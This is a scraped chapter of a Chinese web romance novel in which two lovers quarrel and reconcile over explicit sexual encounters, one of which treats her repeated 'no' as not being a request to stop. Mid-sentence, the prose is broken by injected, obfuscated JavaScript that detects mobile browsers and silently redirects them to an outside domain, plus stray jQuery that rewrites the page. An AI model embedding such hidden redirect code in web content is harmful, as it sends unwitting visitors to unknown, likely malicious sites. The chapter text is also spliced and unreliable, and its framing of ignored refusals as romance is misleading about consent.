67. 如梦令

作品:《我真的没想当反派啊!

    灵游阁,灵霄偏殿。


    暧暧纱帐内,忽传出少女的一声低咛。


    “燃哥哥,你又咬我!”阮棠话里挟着不满与嗔怪。


    窸窣动静后,是谢泠燃沙哑的嗓音,低低道歉:“抱歉,我忍不住。”


    只见那细腻光滑的左肩上,赫然印有一个整齐的齿印。


    那里曾被匕首刺了一刀,因为精心照料,没有留下疤痕,但却在无数个类似场合下,留下深深浅浅的粉色咬痕。


    偏偏对这块地方情有独钟,很难说谢泠燃不是故意的。


    虽并不痛,阮棠还是气得牙痒痒,抱怨道:“不行,我要讨回来。”


    谢泠燃衣衫并不算齐整,阮棠凑去,他还下意识偏了偏头。


    一段雪白的脖颈显露出来,成了脆弱的余地,等待被标记占领。


    于是阮棠临时变卦,将唇贴了过去。


    温热相贴,谢泠燃低声劝阻:“别在这里,会被看见。”


    夏日里,此处并不好遮掩。


    若留了印记,众目睽睽下,必然招摇而荒唐,惹人遐想。


    “就、要、这、里。”


    阮棠不依,使坏,就要咬在这里。


    准确来说,不是咬,而是吮。


    她灵巧的舌头轻轻一卷,谢泠燃脖颈处的皮肤上便落一点触目红痕,还混杂着令人心悸的吞咽声和在这之后被自然而然带出的喘息。


    “小九。”


    谢泠燃声音和目光都变了。


    阮棠跟没注意到似的,继续磨着这一处。


    等确保这红痕没两日消不下去之后,唇畔才从谢泠燃颈间移开。


    谢泠燃看不见自己颈间红痕,目光便定定停在阮棠身上。


    从那双憋不住坏笑的杏眼到犹带水渍的唇上,侵略欲一点点压垮心头防线。


    她纱裙已经褪得不能再褪,仿佛片缕未遮,满室春光。


    而谢泠燃的目光正在丈量。


    丈量哪些是外人看不见的区域。


    那些部分独属于他、可以留下印记。


    阮棠被看得有些心虚,曲起腿环抱住自己,像只无助的小猫。


    谢泠燃于心不忍,将她拉进怀里,以鼻尖相蹭,“小九。”


    小猫胆子立刻大了些,从他身上揪衣服挡住身子。


    只不过无济于事,他轻轻一拂,复又如初。


    谢泠燃轻笑,随即便有亲吻落到阮棠唇上、面颊和耳根。


    越往下去,就以她方才所做的反治于她,同样的痕迹在她身体留下,宛若雪地里开出的一片片红梅,任人采撷。


    原先怀抱的两人双双平倒下,牵扯纱帐。


    阮棠红着眼控诉:“这不公平,我就在一处留了痕迹。”


    谢泠燃指尖轻柔地抚过她眉眼,“此处显眼。”


    阮棠对这种不等价衡量嗤之以鼻,拍开他手,“那你也不能在不显眼的地方都给我留上吧?想得美——”


    谢泠燃不答,眸光却暗下。


    阮棠身子一颤,知他正有此意。


    “燃哥哥,我合理怀疑你以前就是克制欲望太久了,七情六欲什么都没有,整日心如止水,所以现在一破戒,才那么凶。”


    谢泠燃拂开挡她眼睛的发,“让你怕了?”


    阮棠思考了一会儿,声音闷闷地形容:“不能说怕,是有点受不住。”


    谢泠燃垂眸,语气自责:“抱歉,这次不会了。”


    “你最好是。”阮棠义正言辞,“而且纠正一下,没有这次!”


    听闻这话,谢泠燃眼睫忽地抬起,直白问:“为何?”


    阮棠躲开谢泠燃,卷着被子往床里另一侧滚去,恨恨道:“哼!因为我不想!”


    谢泠燃伸手抓住她露在外面的脚踝,用指腹刮蹭了一下那纤细而脆弱的地方。


    “小九。”


    “不要!”


    每次他这么唤,阮棠总是受不住,马上就自投罗网,但这次她绝不轻易投降了。


    “小九。”谢泠燃就这么继续唤着她。


    阮棠很有骨气,“不要。”


    “小九。”


    “不要……”


    脚踝那块地方被谢泠燃持续性地摩挲着。


    他抓得很紧,不肯松手,触感发凉。


    “小——”


    阮棠心一软,犹犹豫豫地松口:“那事先说好!我让停你就停!”


    谢泠燃勾唇,答应得痛快:“好。”


    阮棠莫名觉得好像又主动跳进了某个坑里,而且还贴心地挖土把自己埋了。


    这种时候,她只能多看几眼谢泠燃的脸,才好劝慰自己。


    本就是情到浓时,一切顺理成章。


    后来纱帐内仍不断有少女的低咛传出,隐约含着哭腔:“不要了……”


    可哭腔和低咛一并被吞没,含糊不清。


    动静持续了好一阵,直至筋疲力竭,连喘息都是微末的。


    又一场尽兴春事。


    事毕,阮棠泪眼汪汪:“你骗人!”


    谢泠燃抱着她,拍拍背哄:“小九,我没骗你,你方才没说过停。”


    阮棠坚持道:“我都说不要了!好多遍!明明是你充耳不闻。”


    谢泠燃却一派从容,咬文嚼字缓缓问:“那是停吗?”


    “……”阮棠被这话给哽了一下,当即抓起枕头砸他,越说越委屈,“谢泠燃!你太过分了!就知道欺负我!”


    -


    整整两天,阮棠都晾着谢泠燃。


    她每日一大早就出殿门,片刻也不想和他继续待着。


    第三日。


    阮棠漫无目的经过雾雨谷时,看见阮芥正在练剑,殷涟蹲在溪边清洗草药,两人做着自己的事,互不干扰。


    那会儿阮棠是很羡慕这种相处模式的。


    她进谷,蹲到溪边,想给殷涟帮帮忙。


    “你来了。”


    殷涟同阮棠打个招呼,让出位置。


    阮芥也收剑走来,打算休息片刻。


    而阮棠正卷起袖子,皓腕露出,上面布有几道细细的掐痕,交错其他痕迹,泛起一片诡异的淡红,还未完全消除。


    她自己都还没注意到,阮芥脸却已经拉下来,严肃地问:“小九,你手臂怎么了?”


    殷涟一看,懂了什么,神色瞬间比阮棠还紧张,“阮芥,你管那么多!”


    “没事,不小心抓破了。”阮棠一边笑脸应付,一边擦干浸入溪水中的双手,打算将袖子赶紧捋下,省得丢人现眼。


    阮芥追问:“怎么这么不小心?”


    “……”阮棠目光躲闪。


    恰在此时,身侧多了一道影子。


    谢泠燃不知何时进的谷,他拉过阮棠手腕,脸上没有多余表情,替她将袖子放下。


    阮棠瞪他一眼,毫不领情。


    阮芥不明就里,只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720988|145313||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看出两人是吵架了,在那瞎劝:“小九,你俩咋了?小夫妻床头吵架床尾和,有什么事值得气的?”


    阮棠甩开谢泠燃想要顺势牵上来的手,多少有些恼羞成怒:“你懂个屁!”


    “哎,你——”


    阮棠跑开,阮芥后半句话没机会脱口。


    谢泠燃歉意地扫来一眼,随后紧跟上去,殷涟连声“谢师兄”都没来得及问候。


    灵霄偏殿,门开开合合。


    先是阮棠气恼摔门,后是谢泠燃,一轻一重,成两个极端。


    谢泠燃站在门边,没有进殿。


    他以轻淡的嗓音认认真真同阮棠道歉:“小九,我错了。”


    阮棠充耳不闻,一会儿侍弄花草,一会儿饮两口茶,就是不肯搭腔。


    偏殿已摆满了她的东西,反观谢泠燃的物件,只占小小角落。案桌上随便一翻便是她爱看的话本,不少还是谢泠燃带回的。


    阮棠随手挑了一本,趴到床上草草翻起。


    起初,她还记得时不时偷瞄一眼谢泠燃,见他仍一动不动在原地等着她发话,心情便好了些,话本也看进去了。


    一册话本翻到底,天已快黑。


    阮棠心满意足打个哈欠,忽记起谢泠燃,转头回望,他目光静静,站立处不曾改变。


    那一眼,像是等了很久很久。


    不止是从一个午后到黄昏的距离而已。


    两人的冷战从未超过三日。


    说是冷战,不过是阮棠单方面的,谢泠燃随时随地都能哄她,还是得看她是否消气。


    此刻,谢泠燃再一次问:“要不要和好?”


    “……”阮棠勉为其难点了下头,拍拍床侧,示意他过来坐。


    谢泠燃坐于床侧,眼神寡淡含敛,气场由内而外的清冷。


    他这副样子,阮棠反而心痒起来,很想去勾他。但想起两人冷战的缘由,忍住才没表现出来那意思。


    视线再次冥冥碰上,谢泠燃问:“小九,那我能抱你吗?”


    阮棠没说话,但主动扑进他怀里。


    抱了没一会儿,谢泠燃又问:“那现在能亲你吗?”


    阮棠咬唇,也默许了。


    亲吻得逐渐混沌,似在云里雾里。


    直至谢泠燃用膝盖抵着阮棠,将她腿轻轻向两侧掰开。


    阮棠立马警觉:“你!”


    “你什么都不用做,交给我。”


    谢泠燃伏身,眼神足以让人信赖。


    阮棠抓皱衣角,摇头:“不行!”


    谢泠燃循循善诱,说的话让人无法拒绝:“小九,这是我的道歉,不接受么?”


    好歹云雨许久,他什么意图,阮棠最是清楚,但却声明:“我不会给你做同样的事情。”


    谢泠燃听了浅笑:“不必,我从未想过让你做这些。”


    “……”


    那是另一种意义上的云雾。


    伴随着大海所有的潮汐声,一重一重地扑向她,直到空气中弥漫着一种说不清道不明的甜腥气味。


    潮汐退,云雾坠。


    阮棠脸红得要命,从枕头底下找出帕子丢过去,抬手将脸挡得严实。


    谢泠燃拾了帕子,先仔仔细细将她擦干净,才慢条斯理处理起自己身上的痕迹。


    等这一切结束,谢泠燃问:“算和好吗?”


    阮棠把脸埋进枕头里,音调里有余韵微消的赧意:“嗯!”